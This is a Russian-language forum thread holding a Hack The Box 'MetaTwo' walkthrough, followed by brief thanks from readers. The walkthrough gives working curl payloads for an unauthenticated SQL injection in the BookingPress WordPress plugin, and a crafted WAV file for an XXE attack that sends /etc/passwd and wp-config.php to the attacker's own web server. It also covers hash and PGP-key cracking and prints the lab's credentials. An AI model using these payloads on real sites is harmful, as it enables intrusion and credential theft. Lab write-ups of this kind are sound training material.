HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.03.2023, 13:33
Trager
Познающий
Регистрация: 08.03.2023
Сообщений: 30
С нами: 1678427

Репутация: 0
По умолчанию

Приветствую,
Код:
Codeby
! Сегодня пройдём легкую машину с
Код:
HackTheBox
под названием
Код:
MetaTwo
. Будет достаточно много текста, но зато всё максимально подробно

Разведка

Начинаем конечно же со сканирования портов. Используем флаг
Код:
-sC
, чтобы использовать стандартные скрипты,
Код:
-sV
, чтобы определить сервисы открытых портов и
Код:
-sS
, чтобы использовать
Код:
TCP SYN
сканирование на основе полуоткрытых соединений (для этого мы также запускаем
Код:
nmap
с правами суперпользователя) и опцию
Код:
-oN
, чтобы сохранить сканирование в файле
Код:
nmap.out
:

Bash:


Код:
sudo
nmap -sC -sV -sS
10.10
.11.186 -oN nmap.out


Итак, у нас есть 3 порта:
Код:
21
-
Код:
ftp
,
Код:
22
-
Код:
ssh
,
Код:
80
-
Код:
http
.
Код:
22
- стандартный порт в
Код:
CTF
, который обычно используется после взятия пользователя/рута.
Код:
80
порт тоже достаточно популярный, как правило через него проходит первоначальная эксплуатация.
Код:
21
порт - это порт
Код:
FTP (File Transfer Protocol)
, через него мы можем выгружать и загружать файлы. Пробовал подключиться через
Код:
anonymous
- не вышло.

Переходим на
Код:
80
порт -
Код:
http://10.10.11.86
:



Нам требуется добавить домен
Код:
metapress.htb
в файл
Код:
/etc/hosts
, чтобы на него попасть. Для этого открываем данный файл через консольный редактор
Код:
nano
с правами суперпользователя:

Bash:


Код:
sudo
nano
/etc/hosts
И пишем туда следующую строку:



Теперь доступ к сайту нам открыт:



По оформлению можно сразу сказать, что веб-сайт использует
Код:
WordPress
. Перейдём на
Код:
http://metapress.htb/events/
. Очевидно, что тут используется какой-то плагин
Код:
WordPress'а
:



Открываем исходный код страницы, жмём
Код:
CTRL+F
и вбиваем
Код:
wp-content/plugin
- самый быстрый способ найти плагины руками без автоматизации:



Как можно заметить - используется
Код:
Booking Press
версии
Код:
1.0.10
. Пробьём в гугле данный плагин:



Сразу же вылетают ссылки с
Код:
Unauthenticated SQL Injection
для данного плагина. Это то, что нам нужно, так как данных для админки
Код:
WordPress'а
у нас нет. Вот показательный
Код:
PoC (Proof Of Concept)
данной уязвимости:



Согласно описанию эксплойта нам также потребуется
Код:
_wpnonce
. Его мы можем найти в исходном коде страницы
Код:
/events/
через
Код:
CTRL+F
Код:
action:'bookingpress_front_get_category_services'
:



Теперь меняем в
Код:
PoC'е
протокол, домен,
Код:
_wpnonce
и отправляем наш первый запрос:

Bash:


Код:
curl
-i
'http://metapress.htb/wp-admin/admin-ajax.php'
--data
'action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'


Исходя из этого можно сказать, что через 3 столбца мы можем выводить различную информацию с помощью
Код:
SQL-инъекции
. Нам потребуется только один столбец. Начнём эксплуатацию стандартной
Код:
UNION-Based SQL-инъекции
. Для начала нужно узнать, какие есть базы данных. Используем
Код:
group_concat()
, чтобы сложить одно поле из разных строк (т. е. для полноценного вывода) и достаём названия БД из таблицы
Код:
schemata
базы данных
Код:
information_schema
:

Bash:


Код:
curl
-i
'http://metapress.htb/wp-admin/admin-ajax.php'
--data
'action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(schema_name),null,null,1,2,3,4,5,6 from information_schema.schemata -- -'


Отлично, имеются две базы данных -
Код:
information_schema
и
Код:
blog
. Первая - системная, она нам понадобится только для того, чтобы узнать структуру второй (подробнее про
Код:
information_schema
Вы можете прочитать тут).

Теперь нам нужно достать названия таблиц базы данных
Код:
blog
:

Bash:


Код:
curl
-i
'http://metapress.htb/wp-admin/admin-ajax.php'
--data
"action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name),null,null,1,2,3,4,5,6 from information_schema.tables where table_schema='blog' -- -"


На этом этапе возникли некоторые проблемы - запрос не проходит. И основная её причина находится в
Код:
where table_schema='blog'
. Данный момент мог сбить новичков с толку. Дело в том, что указывать названия таблиц/баз данных можно и без кавычек. Но в таком случае нужно использовать хекс.

Открываем
Код:
BurpSuite
, переходим во вкладку
Код:
Decoder
, пишем
Код:
blog
. И выбираем метод энкода
Код:
ASCII hex
:



Теперь вставляем данное значение в
Код:
table_schema=0x626c6f67
. Не забудьте вписать перед хексом
Код:
0x
:

Bash:


Код:
curl
-i
'http://metapress.htb/wp-admin/admin-ajax.php'
--data
"action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name),null,null,1,2,3,4,5,6 from information_schema.tables where table_schema=0x626c6f67 -- -"


Мы получили все таблицы, которые расположены в базе данных
Код:
blog
. Теперь нужно получить все столбцы, которые расположены в той же базе данных и находятся в таблице
Код:
wp-users
(стандартная таблица
Код:
WordPress
, где хранятся данные о пользователях). Опять переходим в
Код:
BurpSuite
и энкодим в хекс
Код:
wp_users
:



В запросе указываем двойное условие, чтобы получить столбцы именно из таблицы
Код:
wp_users
:

Bash:


Код:
curl
-i
'http://metapress.htb/wp-admin/admin-ajax.php'
--data
"action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(column_name),null,null,1,2,3,4,5,6 from information_schema.columns where table_schema=0x626c6f67 and table_name=0x77705f7573657273 -- -"


Из этого всего нам требуется только
Код:
user_login
и
Код:
user_pass
:

Bash:


Код:
curl
-i
'http://metapress.htb/wp-admin/admin-ajax.php'
--data
"action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login,user_pass),null,null,1,2,3,4,5,6 from wp_users -- -"


Получаем следующую строку:

Код:
admin$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,manager$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70
Важно отметить, что символ
Код:
\
является экранирующим, поэтому в дальнейшем его нужно будет убрать. Хэш админа у меня не получилось сбрутить, но при этом хэш пользователя
Код:
manager
дал результат:



Мы обладаем такими данными:

Код:


Код:
Имя пользователя: manager
Пароль: partylikearockstar
Переходим на
Код:
wp-login.php
(стандартная страница авторизации
Код:
WordPress
) и пробуем войти в аккаунт:



Авторизация прошла успешно:



Данный этап вызвал некоторые затруднения. Так как мы авторизовались, а вот что делать дальше - непонятно. Скорее всего нужно сканировать
Код:
WordPress
на уязвимости. Используем
Код:
wpscan
с
Код:
API
-токеном, который можно получить на wpscan.com после регистрации:

Bash:


Код:
wpscan --url http://metapress.htb --api-token
Находим следующую вулну -
Код:
XXE
, которая требует авторизации:



Делаем пэйлоад (
Код:
evil.dtd
) согласно данной инструкции:

Код:


Код:
" >
И поднимаем веб-сервер
Код:
PHP
на
Код:
9898
порту:



Теперь генерируем вредоносный
Код:
WAV
-файл с пэйлоадом:

Bash:


Код:
echo
-en
'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;] >\x00'
>
exploit.wav


И загружаем его сюда:



После загрузки видим, что
Код:
10.10.11.186
(
Код:
metapress.htb
) обращается к нашему веб-серверу с
Код:
GET
-параметром
Код:
p
. В нём содержится
Код:
/etc/passwd
с атакуемой машины в
Код:
Base64
:



Код:


Код:
jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw==
Декодим через
Код:
PHP
:



Подтвердили, что уязвимость работает. Теперь давайте посмотрим, что содержится в конфиге
Код:
nginx'а
, чтобы определить в каком каталоге лежат файлы веб-сайта (о том, что используется
Код:
nginx
, мы узнали на этапе сканирования портов):

Код:


Код:
" >




Корневым каталогом веб-сервера является
Код:
/var/www/metapress.htb/blog
:



Исходя из этого мы можем прочитать конфигурационный файл
Код:
WordPress'а
-
Код:
wp-config.php
:

Код:


Код:
" >




В нём очень много данных:

PHP:


Код:
+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4zdd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
Всё, что нам понадобиться - это данные от
Код:
FTP
:

Код:


Код:
Имя: metapress.htb
Пароль: 9NYS_ii@FyL_p5M2NvJ
Подключаемся:



В
Код:
FTP
у нас есть доступ к двум каталогам -
Код:
blog
и
Код:
mailer
. Каталог веб-сайта нам скорее всего не понадобится. Переходим в
Код:
mailer
и видим файл
Код:
send_mail.php
. Качаем его на свою машину с помощью команды
Код:
mget
:



В нём содержатся данные для пользователя
Код:
jnelson
:

PHP:


Код:
SMTPDebug = 3;                            
$mail->isSMTP();          
 
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                        
$mail->Username = "jnelson@metapress.htb";              
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                        
$mail->SMTPSecure = "tls";                        
$mail->Port = 587;                                
 
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
 
$mail->addAddress("info@metapress.htb");
 
$mail->isHTML(true);
 
$mail->Subject = "Startup";
$mail->Body = "We just started our new blog metapress.htb!";
 
try {
   $mail->send();
   echo "Message has been sent successfully";
} catch (Exception $e) {
   echo "Mailer Error: " . $mail->ErrorInfo;
}
Подключаемся по
Код:
ssh
:

Код:


Код:
Имя пользователя: jnelson
Пароль: Cb4_JmWM8zUZWMu@Ys
Взятие рута

Сразу же после подключения я обнаружил интересный скрытый каталог -
Код:
.passpie
:



Тут мы можем обнаружить сообщения, где поле password зашифровано с помощью
Код:
PGP
:



А также публичные и приватные
Код:
PGP
-ключи (скрин не полный):



Имея приватный
Код:
PGP
-ключ, мы можем сбрутить пароль. Копируем содержимое ключа на нашу машину:



Используем
Код:
gpg2john
, чтобы привести ключ к формату для брутфорса и запускаем
Код:
john the ripper
со словарём
Код:
rockyou.txt
. Он часто используется в
Код:
CTF
и содержит более
Код:
14 341 564
паролей, которые ранее были раскрыты в результате утечки данных (скачать данный вордлист Вы можете тут):



Пароль успешно сбрутился. Теперь открываем любой сайт по дешифровке
Код:
PGP
и указываем сообщение, приватный ключ и пароль:



Получаем пароль суперпользователя -
Код:
p7qfAZt4_A1xo_0x
и авторизуемся в качестве
Код:
root'а
:



Друзья, большое спасибо, что дочитали до конца! Надеюсь, что Вы извлекли для себя что-то новое из этой статьи. Пишите в комментариях, если я допустил ошибки/неточности
 
Ответить с цитированием

  #2  
Старый 12.03.2023, 14:01
FXLL
Новичок
Регистрация: 22.12.2022
Сообщений: 0
С нами: 1787447

Репутация: 0
По умолчанию

Прикона,разбор неплохой мне понравилось
Но хотелось бы побольше машин на windows
 
Ответить с цитированием

  #3  
Старый 03.05.2023, 11:19
КофеваркаМолли
Новичок
Регистрация: 12.07.2022
Сообщений: 0
С нами: 2021925

Репутация: 0
По умолчанию

Огромное спасибо за подробный разбор!
 
Ответить с цитированием

  #4  
Старый 03.05.2023, 14:12
Сергей Сталь
Новичок
Регистрация: 02.03.2021
Сообщений: 0
С нами: 2737559

Репутация: 0
По умолчанию

Благодарю, прекрасный разбор. Ыщё!
 
Ответить с цитированием

  #5  
Старый 04.05.2023, 16:20
voixe852
Новичок
Регистрация: 07.02.2019
Сообщений: 0
С нами: 3823541

Репутация: 0
По умолчанию

Спасибо за разбор! Я до сих пор не понимаю, как HTB выбирает уровень сложности, по мне так это не разу не easy
 
Ответить с цитированием

  #6  
Старый 05.05.2023, 10:04
Сергей Сталь
Новичок
Регистрация: 02.03.2021
Сообщений: 0
С нами: 2737559

Репутация: 0
По умолчанию

Цитата:

voixe852 сказал(а):

Спасибо за разбор! Я до сих пор не понимаю, как HTB выбирает уровень сложности, по мне так это не разу не easy

если в процессе поиска флага не течет кровь из глаз, а мозг подает признаки жизни то easy
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.